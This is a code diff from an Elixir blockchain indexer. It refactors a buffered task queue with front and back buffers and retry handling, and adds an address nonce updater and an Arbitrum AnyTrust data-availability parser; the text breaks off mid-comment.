{:noreply, %{state | init_task: :complete}} + # Handles a retry request for a task processing queue data with specified + # retryable entries. If the task modified the state, the call back module + # state is updated. These entries are added to the queue and processing of + # the next batch is triggered. + # If all entries are needed to be retried, the `retryable_entries` should + # be `nil`. + def handle_info({ref, {:retry, retryable_entries, new_callback_module_state}}, state) do + {:noreply, + drop_task_and_retry(%__MODULE__{state | callback_module_state: new_callback_module_state}, ref, retryable_entries)} + end + + # Handles the normal termination of the initial streaming task, marking it as complete. + def handle_info({:DOWN, ref, :process, _pid, :normal}, %__MODULE__{init_task: ref} = state) do + {:noreply, %__MODULE__{state | init_task: :complete}} end + # Handles the normal termination of a non-initial task, no action needed. def handle_info({:DOWN, _ref, :process, _pid, :normal}, state) do {:noreply, state} end + # Handles abnormal termination of a task processing queue data. The task's batch + # is re-added to the queue and processing of the next batch is triggered. def handle_info({:DOWN, ref, :process, _pid, _reason}, state) do {:noreply, drop_task_and_retry(state, ref)} end - def handle_call({:buffer, entries}, _from, state) do - {:reply, :ok, buffer_entries(state, entries)} + # Handles asynchronous buffering of entries. + # Adds the provided entries to either the front or back buffer without waiting for a response. + # This is used for non-blocking buffering operations. + def handle_info({:buffer, entries, front?}, state) do + {:noreply, buffer_entries(state, entries, front?)} + end + + # Handles synchronous buffering of entries. + # Adds the provided entries to either the front or back buffer and waits for the operation to complete. + # This is used when the caller needs confirmation that the entries have been buffered. + def handle_call({:buffer, entries, front?}, _from, state) do + {:reply, :ok, buffer_entries(state, entries, front?)} end + # Provides debug information about the current state of the BufferedTask. + # Returns a count of entries in buffers and queue, and the number of active tasks. + # This is useful for monitoring and debugging the BufferedTask's internal state. def handle_call( :debug_count, _from, - %BufferedTask{ + %__MODULE__{ current_buffer: current_buffer, + current_front_buffer: current_front_buffer, bound_queue: bound_queue, max_batch_size: max_batch_size, task_ref_to_batch: task_ref_to_batch } = state ) do - count = length(current_buffer) + Enum.count(bound_queue) * max_batch_size + count = length(current_buffer) + length(current_front_buffer) + Enum.count(bound_queue) * max_batch_size {:reply, %{buffer: count, tasks: Enum.count(task_ref_to_batch)}, state} end + # Retrieves the full internal state of the BufferedTask. + # This handler provides complete access to the BufferedTask's state, + # primarily for advanced debugging, testing, or custom runtime introspection. + # Use with caution as it exposes internal implementation details. + def handle_call( + :state, + _from, + state + ) do + {:reply, state, state} + end + + # Adds entries to the back of the queue and initiates processing of the next + # batch of queue's data by the callback module. def handle_call({:push_back, entries}, _from, state) when is_list(entries) do new_state = state @@ -306,6 +810,19 @@ defmodule Indexer.BufferedTask do {:reply, :ok, new_state} end + # Adds entries to the front of the queue and initiates processing of the next + # batch of queue's data by the callback module. + def handle_call({:push_front, entries}, _from, state) when is_list(entries) do + new_state = + state + |> push_front(entries) + |> spawn_next_batch() + + {:reply, :ok, new_state} + end + + # Attempts to shrink the bound queue in response to high memory usage detection. + # Called by the Memory Monitor when this process is identified as a high memory consumer. def handle_call(:shrink, _from, %__MODULE__{bound_queue: bound_queue} = state) do {reply, shrunk_state} = case BoundQueue.shrink(bound_queue) do @@ -319,30 +836,133 @@ defmodule Indexer.BufferedTask do {:reply, reply, shrunk_state, :hibernate} end + # Checks if the bound queue has been previously shrunk. + # Used by the Memory Monitor to track which processes have been shrunk and may be eligible for expansion. def handle_call(:shrunk?, _from, %__MODULE__{bound_queue: bound_queue} = state) do {:reply, BoundQueue.shrunk?(bound_queue), state} end + # Expands the previously shrunk bound queue to its original size. + # Called by the Memory Monitor when overall system memory usage has decreased sufficiently. + def handle_call(:expand, _from, %__MODULE__{bound_queue: bound_queue} = state) do + {:reply, :ok, %__MODULE__{state | bound_queue: BoundQueue.expand(bound_queue)}} + end + + # Removes a task from the state and initiates the next batch processing. + # + # This function is called to remove a task reference from the state, regardless + # of whether the task completed successfully, failed, or needs to be retried. + # After removing the task, it attempts to spawn the next batch of queue's data + # for processing. + # + # ## Parameters + # - `state`: The current state of the BufferedTask. + # - `ref`: The reference of the task to be removed. + # + # ## Returns + # Updated state after removing the task and potentially spawning a new data + # portion for processing. + @spec drop_task(t(), reference()) :: t() defp drop_task(state, ref) do - spawn_next_batch(%BufferedTask{state | task_ref_to_batch: Map.delete(state.task_ref_to_batch, ref)}) + spawn_next_batch(%__MODULE__{state | task_ref_to_batch: Map.delete(state.task_ref_to_batch, ref)}) end - defp drop_task_and_retry(%BufferedTask{task_ref_to_batch: task_ref_to_batch} = state, ref, new_batch \\ nil) do + # Removes a task from the state and schedules it (or another chunk of data) for retry. + # + # This function is called when a task needs to be retried, either due to failure + # or explicit retry request. It removes the task reference from the state and + # pushes either a new batch of entries (if provided) or the original batch back + # to the queue for reprocessing. + # + # ## Parameters + # - `state`: The current state of the BufferedTask. + # - `ref`: The reference of the task to be removed and retried. + # - `new_batch`: Optional. A new batch of entries to be processed instead of + # the original batch. Defaults to nil. + # + # ## Returns + # Updated state after removing the task and pushing entries for retry. + @spec drop_task_and_retry( + %__MODULE__{task_ref_to_batch: %{reference() => [term(), ...]}}, + reference(), + entries() | nil + ) :: t() + defp drop_task_and_retry(%__MODULE__{task_ref_to_batch: task_ref_to_batch} = state, ref, new_batch \\ nil) do batch = Map.fetch!(task_ref_to_batch, ref) + # Question: should we push the data to the queue first and then spawn the next batch? state |> drop_task(ref) |> push_back(new_batch || batch) end - defp buffer_entries(state, []), do: state + # Adds new entries to the appropriate buffer in the current state. + # + # This function has the following behaviors depending on the input: + # 1. If `front?` is true, it prepends the entries to the current front buffer. + # 2. If `front?` is false, it prepends the entries to the current buffer. + # 3. If entries is empty, it returns the original state unchanged. + # + # ## Parameters + # - `state`: The current state of the BufferedTask. + # - `entries`: A list of new entries to be added to a buffer. + # - `front?`: A boolean indicating whether to add to the front buffer (true) or + # the regular buffer (false). + # + # ## Returns + # An updated state with the new entries added to the appropriate buffer, or + # the original state if entries is empty. + # + # ## Notes + # When entries are added, they are prepended as a single list element to + # the existing buffer, maintaining the order of batches. + @spec buffer_entries(t(), [], boolean()) :: t() + defp buffer_entries(state, [], _front?), do: state + + @spec buffer_entries(t(), nonempty_list(), true) :: t() + defp buffer_entries(state, entries, true) do + %__MODULE__{state | current_front_buffer: [entries | state.current_front_buffer]} + end + + @spec buffer_entries(t(), nonempty_list(), false) :: t() + defp buffer_entries(state, entries, false) do + %__MODULE__{state | current_buffer: [entries | state.current_buffer]} + end - defp buffer_entries(state, entries) do - %{state | current_buffer: [entries | state.current_buffer]} + # Initiates the initial streaming process for the BufferedTask. + # + # This function has two clauses: + # 1. When an init_task is already in progress, it schedules the next buffer flush. + # 2. When no init_task is in progress, it starts a new async task to initialize + # the stream. + # + # The initialization process: + # - Calls the `init/3` function of the callback module. + # - Accumulates entries into chunks up to the maximum batch size. + # - Pushes full chunks to the queue, triggering processing of queue data. + # - Processes any remaining entries after initialization. These are entries that + # were accumulated but didn't form a complete chunk. They are pushed to the + # queue, ensuring no data is lost, and trigger processing of queue data (which + # may include these entries). + # + # ## Parameters + # - `state`: The current state of the BufferedTask. + # + # ## Returns + # - Updated `state` with the new `init_task` reference and scheduled buffer flush. + @spec do_initial_stream(%__MODULE__{ + init_task: Task.t() | :complete | nil, + callback_module: module(), + max_batch_size: pos_integer(), + task_supervisor: GenServer.name(), + metadata: Logger.metadata() + }) :: t() + defp do_initial_stream(%__MODULE__{init_task: init_task} = state) when is_reference(init_task) do + schedule_next_buffer_flush(state) end defp do_initial_stream( - %BufferedTask{ + %__MODULE__{ callback_module: callback_module, callback_module_state: callback_module_state, max_batch_size: max_batch_size, @@ -358,6 +978,12 @@ defmodule Indexer.BufferedTask do {0, []} |> callback_module.init( + # It accumulates entries into chunks until the maximum chunk size is + # reached, then pushes the chunk to the queue and trigger processing + # of the next batch of the queue's data. The chunk size is set to + # ensure it doesn't exceed the batch size used in `spawn_next_batch`, + # guaranteeing that all data in the queue can be included in + # processing batches. fn entry, {len, acc} when len + 1 >= max_batch_size -> entries = Enum.reverse([entry | acc]) @@ -373,9 +999,15 @@ defmodule Indexer.BufferedTask do |> catchup_remaining(max_batch_size, parent) end) - schedule_next_buffer_flush(%BufferedTask{state | init_task: task.ref}) + schedule_next_buffer_flush(%__MODULE__{state | init_task: task.ref}) end + # Processes any remaining entries after the initial streaming operation by + # pushing them to the back of the queue and triggering processing of a batch of + # the queue's data. + @spec catchup_remaining({non_neg_integer(), list()}, pos_integer(), pid()) :: :ok + defp catchup_remaining(chunk_with_length, max_batch_size, pid) + defp catchup_remaining({0, []}, _max_batch_size, _pid), do: :ok defp catchup_remaining({len, batch}, max_batch_size, pid) @@ -385,18 +1017,75 @@ defmodule Indexer.BufferedTask do :ok end + # Pushes entries to the back of the queue. + # + # This function has two behaviors depending on the input: + # 1. If given a PID, it sends a :push_back message to the specified process. + # 2. If given the current state, it adds entries to the back of the bound queue. + # + # ## Parameters + # - `pid`: A PID of a BufferedTask process. + # - `state`: The current state of the BufferedTask. + # - `entries`: A list of entries to be pushed to the back of the queue. + # + # ## Returns + # - When given a PID: The result of the GenServer call (any term). + # - When given the current state: The updated state with a potentially + # modified bound queue. + @spec push_back(pid(), list()) :: term() defp push_back(pid, entries) when is_pid(pid) and is_list(entries) do GenServer.call(pid, {:push_back, entries}) end - defp push_back(%BufferedTask{bound_queue: bound_queue} = state, entries) when is_list(entries) do + @spec push_back(t(), list()) :: t() + defp push_back(%__MODULE__{} = state, entries), do: push(state, entries, false) + + # Pushes entries to the front of the queue. + # + # This function has two behaviors depending on the input: + # 1. If given a PID, it sends a :push_front message to the specified process. + # 2. If given the current state, it adds entries to the front of the bound queue. + # + # ## Parameters + # - `pid`: A PID of a BufferedTask process. + # - `state`: The current state of the BufferedTask. + # - `entries`: A list of entries to be pushed to the front of the queue. + # + # ## Returns + # - When given a PID: The result of the GenServer call (any term). + # - When given the current state: The updated state with a potentially + # modified bound queue. + @spec push_front(pid(), list()) :: term() + defp push_front(pid, entries) when is_pid(pid) and is_list(entries) do + GenServer.call(pid, {:push_front, entries}) + end + + @spec push_front(t(), list()) :: t() + defp push_front(%__MODULE__{} = state, entries), do: push(state, entries, true) + + # Pushes a list of entries into the bound queue of the state. + # + # If all entries are successfully added, the function simply updates the state + # with the new bound queue. If the bound queue reaches its maximum size before + # all entries can be added, the function discards the remaining entries and + # logs a warning. + # + # ## Parameters + # - `state`: The current state of the BufferedTask. + # - `entries`: A list of entries to be pushed into the bound queue. + # - `front?`: A boolean flag. If true, pushes to the front; if false, pushes to the back. + # + # ## Returns + # The updated state with the new entries added to the bound queue. + @spec push(%__MODULE__{bound_queue: BoundQueue.t(term())}, list(), boolean()) :: t() + defp push(%__MODULE__{bound_queue: bound_queue} = state, entries, front?) when is_list(entries) do new_bound_queue = - case BoundQueue.push_back_until_maximum_size(bound_queue, entries) do + case push_until_maximum_size(bound_queue, entries, front?) do {new_bound_queue, []} -> new_bound_queue {%BoundQueue{maximum_size: maximum_size} = new_bound_queue, remaining_entries} -> - Logger.warn(fn -> + Logger.warning(fn -> [ "BufferedTask ", process(self()), @@ -411,18 +1100,88 @@ defmodule Indexer.BufferedTask do new_bound_queue end - %BufferedTask{state | bound_queue: new_bound_queue} + %__MODULE__{state | bound_queue: new_bound_queue} end - defp take_batch(%BufferedTask{bound_queue: bound_queue, max_batch_size: max_batch_size} = state) do + # Pushes entries into a BoundQueue until its maximum size is reached. + # + # This function attempts to add entries to either the front or back of the + # BoundQueue, depending on the boolean flag. It continues adding entries + # until the queue reaches its maximum size or all entries have been added. + # + # The order of entries is preserved during the push operation. When pushing + # to the front, the first entry in the list becomes the first in the queue. + # Conversely, when pushing to the back, the last entry in the list becomes + # the last in the queue. + # + # ## Parameters + # - `bound_queue`: The BoundQueue to push entries into. + # - `entries`: A list of entries to be pushed into the queue. + # - `front?`: A boolean flag. If true, pushes to the front; if false, pushes to the back. + # + # ## Returns + # A tuple containing: + # - The updated BoundQueue with new entries added. + # - A list of remaining entries that couldn't be pushed due to size limitations. + @spec push_until_maximum_size(BoundQueue.t(term()), list(), boolean()) :: {BoundQueue.t(term()), list()} + defp push_until_maximum_size(bound_queue, entries, true), + do: BoundQueue.push_front_until_maximum_size(bound_queue, entries) + + defp push_until_maximum_size(bound_queue, entries, false), + do: BoundQueue.push_back_until_maximum_size(bound_queue, entries) + + # Takes a batch of entries from the current state or BoundQueue. + # + # This function has three implementations to handle different input types + # and use cases: + # + # 1. When given the current state of the BufferedTask: + # - Takes a batch of entries based on the `max_batch_size`. + # - Returns the batch and an updated state. + # + # 2. When given a BoundQueue and `max_batch_size`: + # - Initializes the recursive batch-taking process. + # - Returns the batch and the updated BoundQueue. + # + # 3. Recursive implementation (private): + # - Recursively takes entries from the BoundQueue. + # - Accumulates entries until the requested number is reached or the queue is empty. + # + # ## Parameters + # - `state`: The current state of the BufferedTask. + # - `bound_queue`: The BoundQueue to take entries from. + # - `max_batch_size`: The maximum number of entries to take. + # - `remaining`: The number of entries still to be taken (in recursive calls). + # - `acc`: The accumulator for entries already taken (in recursive calls). + # + # ## Returns + # Depending on the implementation: + # 1. `{batch, updated_state}` + # 2. `{batch, updated_bound_queue}` + # 3. `{reversed_batch, updated_bound_queue}` + # + # Where: + # - `batch`: A list of taken entries in their original order. + # - `updated_state`: The state with an updated BoundQueue. + # - `updated_bound_queue`: The BoundQueue with taken entries removed. + # + # ## Notes + # - The function ensures that no more than `max_batch_size` entries are taken. + # - If the queue becomes empty before taking all requested entries, the function + # returns with whatever entries it has accumulated so far. + @spec take_batch(%__MODULE__{bound_queue: BoundQueue.t(term()), max_batch_size: non_neg_integer()}) :: + {entries(), t()} + defp take_batch(%__MODULE__{bound_queue: bound_queue, max_batch_size: max_batch_size} = state) do {batch, new_bound_queue} = take_batch(bound_queue, max_batch_size) - {batch, %BufferedTask{state | bound_queue: new_bound_queue}} + {batch, %__MODULE__{state | bound_queue: new_bound_queue}} end + @spec take_batch(BoundQueue.t(term()), non_neg_integer()) :: {entries(), BoundQueue.t(term())} defp take_batch(%BoundQueue{} = bound_queue, max_batch_size) do take_batch(bound_queue, max_batch_size, []) end + @spec take_batch(BoundQueue.t(term()), non_neg_integer(), list()) :: {entries(), BoundQueue.t(term())} defp take_batch(%BoundQueue{} = bound_queue, 0, acc) do {Enum.reverse(acc), bound_queue} end @@ -437,35 +1196,73 @@ defmodule Indexer.BufferedTask do end end - # get more work from `init/2` - defp schedule_next(%BufferedTask{poll: true, bound_queue: %BoundQueue{size: 0}} = state) do - do_initial_stream(state) - end - - # was shrunk and was out of work, get more work from `init/2` - defp schedule_next(%BufferedTask{bound_queue: %BoundQueue{size: 0, maximum_size: maximum_size}} = state) - when maximum_size != nil do - Logger.info(fn -> - [ - "BufferedTask ", - process(self()), - " ran out of work, but work queue was shrunk to save memory, so restoring lost work from `c:init/2`." - ] - end) - + # Schedules the next operation based on the current state of the BufferedTask. + # + # This function is called after triggering processing a batch of queue's data + # to determine the next action, helping maintain a continuous flow of work in + # the BufferedTask. + # + # This function has two clauses: + # 1. When the queue is empty, there are no ongoing tasks, and polling is enabled, + # it re-initializes the stream to fetch more work. + # 2. In all other cases, it schedules the next buffer flush. + # + # ## Parameters + # - `state`: The current state of the BufferedTask. + # + # ## Returns + # - Updated `state` after scheduling the next operation. + @spec schedule_next(%__MODULE__{ + poll: boolean(), + bound_queue: BoundQueue.t(term()), + task_ref_to_batch: %{reference() => [term(), ...]} + }) :: t() + defp schedule_next(%__MODULE__{poll: true, bound_queue: %BoundQueue{size: 0}, task_ref_to_batch: tasks} = state) + when tasks == %{} do do_initial_stream(state) end - # was not shrunk or not out of work - defp schedule_next(%BufferedTask{} = state) do + defp schedule_next(%__MODULE__{} = state) do schedule_next_buffer_flush(state) end + # Schedules the next buffer flush based on the flush_interval. + # + # If the flush_interval is set to `:infinity`, no flush is scheduled and the + # state is returned unchanged. Otherwise, a timer is set to send a `:flush` + # message after the specified interval. + # + # ## Parameters + # - `state`: The current state of the BufferedTask. Must include `:flush_interval`. + # + # ## Returns + # - The updated state with the new flush_timer if a flush was scheduled, + # or the unchanged state if flush_interval is :infinity. + @spec schedule_next_buffer_flush(%__MODULE__{flush_interval: timeout() | :infinity}) :: t() defp schedule_next_buffer_flush(state) do - timer = Process.send_after(self(), :flush, state.flush_interval) - %{state | flush_timer: timer} + if state.flush_interval == :infinity do + state + else + timer = Process.send_after(self(), :flush, state.flush_interval) + %__MODULE__{state | flush_timer: timer} + end end + # Registers the current process as shrinkable with the memory monitor if one is provided. + # + # This function checks the options for a `:memory_monitor`. If present, it registers + # the current process with the monitor as a shrinkable process. This allows the + # memory monitor to request the process to reduce its memory usage if needed. + # + # ## Parameters + # - `options`: A keyword list of options that may include :memory_monitor. + # + # ## Returns + # - `:ok` if no memory monitor is provided or after successful registration. + # + # ## Side Effects + # - If a memory monitor is provided, the current process is registered as + # shrinkable with that monitor. defp shrinkable(options) do case Keyword.get(options, :memory_monitor) do nil -> :ok @@ -473,8 +1270,31 @@ defmodule Indexer.BufferedTask do end end + # Spawns the next batch processing task. + # + # This function checks if a new task can be spawned based on the current + # number of running tasks and the availability of entries in the bound queue. + # If conditions are met, it takes a batch from the bound queue and spawns + # a new task to process it. As soon as the task is spawned, the + # `task_ref_to_batch` map is updated to enable retrying the task if needed. + # + # ## Parameters + # - `state`: The current state of the BufferedTask. + # + # ## Returns + # - An updated state if a new task was spawned. Otherwise, the original state + # is returned. + @spec spawn_next_batch(%__MODULE__{ + bound_queue: BoundQueue.t(term()), + callback_module: module(), + callback_module_state: term(), + max_concurrency: non_neg_integer(), + task_ref_to_batch: %{reference() => [term(), ...]}, + task_supervisor: GenServer.name(), + metadata: Logger.metadata() + }) :: t() defp spawn_next_batch( - %BufferedTask{ + %__MODULE__{ bound_queue: bound_queue, callback_module: callback_module, callback_module_state: callback_module_state, @@ -497,14 +1317,39 @@ defmodule Indexer.BufferedTask do } ]) - %BufferedTask{new_state | task_ref_to_batch: Map.put(task_ref_to_batch, ref, batch)} + %__MODULE__{new_state | task_ref_to_batch: Map.put(task_ref_to_batch, ref, batch)} else state end end - # only public so that `Task.Supervisor.async_nolink` can call it - @doc false + @doc """ + Executes the run callback of the specified module. + + This function is designed to be called asynchronously by `Task.Supervisor`. It + invokes the `run/2` callback of the specified callback module. + + ## Parameters + - params: A map containing the following keys: + - `:metadata`: Keyword list of logging metadata to be set. + - `:callback_module`: The module that implements the `run/2` callback. + - `:batch`: A list of items to be processed by the callback. + - `:callback_module_state`: The current state of the callback module. + + ## Returns + Returns the result of calling `run/2` on the callback module. + + ## Notes + This function is public to allow it to be called by `Task.Supervisor`, but it's + not intended for direct use outside of the BufferedTask context. + """ + @spec log_run(%{ + metadata: Logger.metadata(), + callback_module: module(), + batch: entries(), + callback_module_state: term() + }) :: + any() def log_run(%{ metadata: metadata, callback_module: callback_module, @@ -515,17 +1360,33 @@ defmodule Indexer.BufferedTask do callback_module.run(batch, callback_module_state) end - defp flush(%BufferedTask{current_buffer: []} = state) do + # Initiates processing of the next batch of the queue's data after flushing the current buffers. + # + # This function ensures that all buffered entries are scheduled for + # processing by pushing both the regular and front buffers to the queue if they + # are not empty. Then, it initiates processing of the next batch of the queue's + # data by spawning a task that will call the `run/2` callback of the callback + # module, and schedules the next operation. + # + # ## Parameters + # - `state`: The current state of the BufferedTask. + # + # ## Returns + # - Updated `state` after flushing buffers and scheduling next operations. + @spec flush(%__MODULE__{current_buffer: list(), current_front_buffer: list}) :: t() + defp flush(%__MODULE__{current_buffer: [], current_front_buffer: []} = state) do state |> spawn_next_batch() |> schedule_next() end - defp flush(%BufferedTask{current_buffer: current} = state) do - entries = List.flatten(current) + defp flush(%__MODULE__{current_buffer: buffer, current_front_buffer: front_buffer} = state) do + back_entries = List.flatten(buffer) + front_entries = List.flatten(front_buffer) - %BufferedTask{state | current_buffer: []} - |> push_back(entries) + %__MODULE__{state | current_buffer: [], current_front_buffer: []} + |> push_back(back_entries) + |> push_front(front_entries) |> flush() end end diff --git a/apps/indexer/lib/indexer/fetcher.ex b/apps/indexer/lib/indexer/fetcher.ex index bfd992a98648..fc9851da862e 100644 --- a/apps/indexer/lib/indexer/fetcher.ex +++ b/apps/indexer/lib/indexer/fetcher.ex @@ -22,10 +22,11 @@ defmodule Indexer.Fetcher do fetcher = __MODULE__ supervisor = Keyword.get(opts, :supervisor, Module.concat(fetcher, Supervisor)) task_supervisor = Keyword.get(opts, :task_supervisor, Module.concat(fetcher, TaskSupervisor)) + restart = Keyword.get(opts, :restart, :transient) Module.create( supervisor, - quote bind_quoted: [strategy: strategy, fetcher: fetcher, task_supervisor: task_supervisor] do + quote bind_quoted: [strategy: strategy, fetcher: fetcher, task_supervisor: task_supervisor, restart: restart] do use Supervisor def child_spec([]), do: child_spec([[], []]) @@ -35,7 +36,7 @@ defmodule Indexer.Fetcher do default = %{ id: __MODULE__, start: {__MODULE__, :start_link, start_link_arguments}, - restart: :transient, + restart: unquote(restart), type: :supervisor } diff --git a/apps/indexer/lib/indexer/fetcher/address_nonce_updater.ex b/apps/indexer/lib/indexer/fetcher/address_nonce_updater.ex new file mode 100644 index 000000000000..64db707459de --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/address_nonce_updater.ex @@ -0,0 +1,89 @@ +defmodule Indexer.Fetcher.AddressNonceUpdater do + @moduledoc """ + Periodically updates addresses nonce + """ + + use GenServer + + require Logger + + alias Explorer.Chain + + @default_update_interval :timer.seconds(10) + + def child_spec(_) do + %{ + id: __MODULE__, + start: {__MODULE__, :start_link, []}, + type: :worker, + restart: :permanent, + shutdown: Application.get_env(:indexer, :graceful_shutdown_period) + } + end + + def start_link do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + def init(_) do + schedule_next_update() + + {:ok, %{}} + end + + def add(addresses_params) do + GenServer.cast(__MODULE__, {:add, addresses_params}) + end + + def handle_cast({:add, addresses_params}, state) do + params_map = Map.new(addresses_params, fn address -> {address.hash, address} end) + + result_state = + Map.merge(state, params_map, fn _hash, old_address, new_address -> + if new_address.nonce > old_address.nonce, do: new_address, else: old_address + end) + + {:noreply, result_state} + end + + def handle_info(:update, addresses_map) do + addresses_params = Map.values(addresses_map) + + result_state = + case Chain.import(%{addresses: %{params: addresses_params}, timeout: :infinity}) do + {:ok, _} -> + %{} + + error -> + log_error(inspect(error)) + addresses_map + end + + schedule_next_update() + + {:noreply, result_state} + rescue + exception -> + error = Exception.format(:error, exception, __STACKTRACE__) + log_error(error) + schedule_next_update() + + {:noreply, addresses_map} + end + + def handle_info({_ref, _result}, state) do + {:noreply, state} + end + + def handle_info({:DOWN, _ref, :process, _pid, _reason}, state) do + {:noreply, state} + end + + defp schedule_next_update do + Process.send_after(self(), :update, @default_update_interval) + end + + defp log_error(error) do + Logger.error("Failed to update addresses nonce: #{error}, retrying") + end +end diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/da/anytrust.ex b/apps/indexer/lib/indexer/fetcher/arbitrum/da/anytrust.ex new file mode 100644 index 000000000000..f42de7202719 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/da/anytrust.ex @@ -0,0 +1,549 @@ +defmodule Indexer.Fetcher.Arbitrum.DA.Anytrust do + @moduledoc """ + Provides functionality for handling AnyTrust data availability information + within the Arbitrum rollup context. + """ + + alias EthereumJSONRPC.Arbitrum.Constants.Events, as: ArbitrumEvents + + import Indexer.Fetcher.Arbitrum.Utils.Logging, only: [log_error: 1, log_info: 1, log_debug: 1] + + import Explorer.Helper, only: [decode_data: 2] + + alias Indexer.Fetcher.Arbitrum.Utils.Db.Settlement, as: Db + alias Indexer.Fetcher.Arbitrum.Utils.Helper, as: ArbitrumHelper + alias Indexer.Fetcher.Arbitrum.Utils.Rpc + alias Indexer.Helper, as: IndexerHelper + + alias Explorer.Chain.Arbitrum + + @enforce_keys [ + :batch_number, + :keyset_hash, + :data_hash, + :timeout, + :signers_mask, + :bls_signature + ] + defstruct @enforce_keys + + @typedoc """ + AnyTrust DA info struct: + * `batch_number` - The batch number in the Arbitrum rollup associated with the + AnyTrust data blob. + * `keyset_hash` - The hash identifying a keyset that defines the rules (threshold + and committee members) to issue the DA certificate. + * `data_hash` - The hash of the data blob stored by the AnyTrust committee. + * `timeout` - Expiration timeout for the data blob. + * `signers_mask` - Mask identifying committee members who guaranteed data availability. + * `bls_signature` - Aggregated BLS signature of the committee members. + """ + @type t :: %__MODULE__{ + batch_number: non_neg_integer(), + keyset_hash: binary(), + data_hash: binary(), + timeout: DateTime.t(), + signers_mask: non_neg_integer(), + bls_signature: binary() + } + + @typedoc """ + AnyTrust DA certificate struct: + * `keyset_hash` - The hash identifying a keyset that defines the rules (threshold + and committee members) to issue the DA certificate. + * `data_hash` - The hash of the data blob stored by the AnyTrust committee. + * `timeout` - Expiration timeout for the data blob. + * `signers_mask` - Mask identifying committee members who guaranteed data availability. + * `bls_signature` - Aggregated BLS signature of the committee members. + """ + @type certificate :: %{ + :keyset_hash => String.t(), + :data_hash => String.t(), + :timeout => DateTime.t(), + :signers_mask => non_neg_integer(), + :bls_signature => String.t() + } + + @typedoc """ + AnyTrust committee member public key struct: + * `trusted` - A boolean indicating whether the member is trusted. + * `key` - The public key of the member. + * `proof` - The proof of the member's public key. + """ + @type signer :: %{ + :trusted => boolean(), + :key => String.t(), + optional(:proof) => String.t() + } + + @typedoc """ + AnyTrust committee struct: + * `threshold` - The threshold of honest members for the keyset. + * `pubkeys` - A list of public keys of the committee members. + """ + @type keyset :: %{ + :threshold => non_neg_integer(), + :pubkeys => [signer()] + } + + @doc """ + Parses batch accompanying data to extract AnyTrust data availability information. + + This function decodes the provided binary data to extract information related to + AnyTrust data availability. + + ## Parameters + - `batch_number`: The batch number associated with the AnyTrust data. + - `binary_data`: The binary data to be parsed, containing AnyTrust data fields. + + ## Returns + - `{:ok, :in_anytrust, da_info}` if the parsing is successful, where `da_info` is + the AnyTrust data availability information struct. + - `{:error, nil, nil}` if the parsing fails. + """ + @spec parse_batch_accompanying_data(non_neg_integer(), binary()) :: + {:ok, :in_anytrust, __MODULE__.t()} | {:error, nil, nil} + def parse_batch_accompanying_data(batch_number, << + keyset_hash::binary-size(32), + data_hash::binary-size(32), + timeout::big-unsigned-integer-size(64), + _version::size(8), + signers_mask::big-unsigned-integer-size(64), + bls_signature::binary-size(96) + >>) do + # https://github.com/OffchainLabs/nitro/blob/ad9ab00723e13cf98307b9b65774ad455594ef7b/arbstate/das_reader.go#L95-L151 + {:ok, :in_anytrust, + %__MODULE__{ + batch_number: batch_number, + keyset_hash: keyset_hash, + data_hash: data_hash, + timeout: IndexerHelper.timestamp_to_datetime(timeout), + signers_mask: signers_mask, + bls_signature: bls_signature + }} + end + + def parse_batch_accompanying_data(batch_number, << + keyset_hash::binary-size(32), + data_hash::binary-size(32), + timeout::big-unsigned-integer-size(64), + signers_mask::big-unsigned-integer-size(64), + bls_signature::binary-size(96) + >>) do + # https://github.com/OffchainLabs/nitro/blob/ad9ab00723e13cf98307b9b65774ad455594ef7b/arbstate/das_reader.go#L95-L151 + {:ok, :in_anytrust, + %__MODULE__{ + batch_number: batch_number, + keyset_hash: keyset_hash, + data_hash: data_hash, + timeout: IndexerHelper.timestamp_to_datetime(timeout), + signers_mask: signers_mask, + bls_signature: bls_signature + }} + end + + def parse_batch_accompanying_data(_, _) do + log_error("Can not parse Anytrust DA message.") + {:error, nil, nil} + end + + @doc """ + Transforms AnyTrust data availability information into database-ready records. + + Creates database records for both the DA certificate and its association with a batch + number. Additionally checks if the certificate's keyset is already known or needs to + be fetched from L1. + + When encountering duplicate data keys within the same processing chunk, the function + compares timeout values and keeps only the record with the highest timeout, which + ensures longer data availability without database constraint violations. + + ## Parameters + - A tuple containing: + - A map of already prepared DA records, where `data_key` maps to `DaMultiPurposeRecord.to_import()` + - A list of already prepared batch-to-blob associations + - `da_info`: The AnyTrust DA info struct containing the certificate data + - `l1_connection_config`: Configuration for L1 connection, including: + - `:sequencer_inbox_address`: Address of the Sequencer Inbox contract + - `:json_rpc_named_arguments`: JSON RPC connection parameters + - `cache`: A set of previously processed keyset hashes + + ## Returns + - A tuple containing: + - A tuple of updated record collections: + - A map of DA records where `data_key` maps to the record, including the new + certificate (`data_type: 0`) and possibly a new keyset (`data_type: 1`) + - Batch-to-blob associations list with the new mapping + - Updated keyset cache + """ + @spec prepare_for_import( + {%{binary() => Arbitrum.DaMultiPurposeRecord.to_import()}, [Arbitrum.BatchToDaBlob.to_import()]}, + __MODULE__.t(), + %{ + :sequencer_inbox_address => String.t(), + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments() + }, + MapSet.t() + ) :: + {{%{binary() => Arbitrum.DaMultiPurposeRecord.to_import()}, [Arbitrum.BatchToDaBlob.to_import()]}, MapSet.t()} + def prepare_for_import({da_records_acc, batch_to_blob_acc}, %__MODULE__{} = da_info, l1_connection_config, cache) do + data = %{ + keyset_hash: ArbitrumHelper.bytes_to_hex_str(da_info.keyset_hash), + data_hash: ArbitrumHelper.bytes_to_hex_str(da_info.data_hash), + timeout: da_info.timeout, + signers_mask: da_info.signers_mask, + bls_signature: ArbitrumHelper.bytes_to_hex_str(da_info.bls_signature) + } + + # Create `DaMultiPurposeRecord` record + da_record = %{ + data_type: 0, + data_key: da_info.data_hash, + data: data, + # This field must be removed as soon as migration to a separate table for Batch-to-DA-record associations is completed. + batch_number: nil + } + + # Create `BatchToDaBlob` record + batch_to_blob_record = %{ + batch_number: da_info.batch_number, + data_blob_id: da_info.data_hash + } + + # Check if a record with the same data_key already exists + updated_da_records = + case Map.get(da_records_acc, da_info.data_hash) do + nil -> + # No duplicate, add the new record + Map.put(da_records_acc, da_info.data_hash, da_record) + + duplicate_record -> + log_info("Found duplicate DA record #{ArbitrumHelper.bytes_to_hex_str(da_info.data_hash)}") + # Found 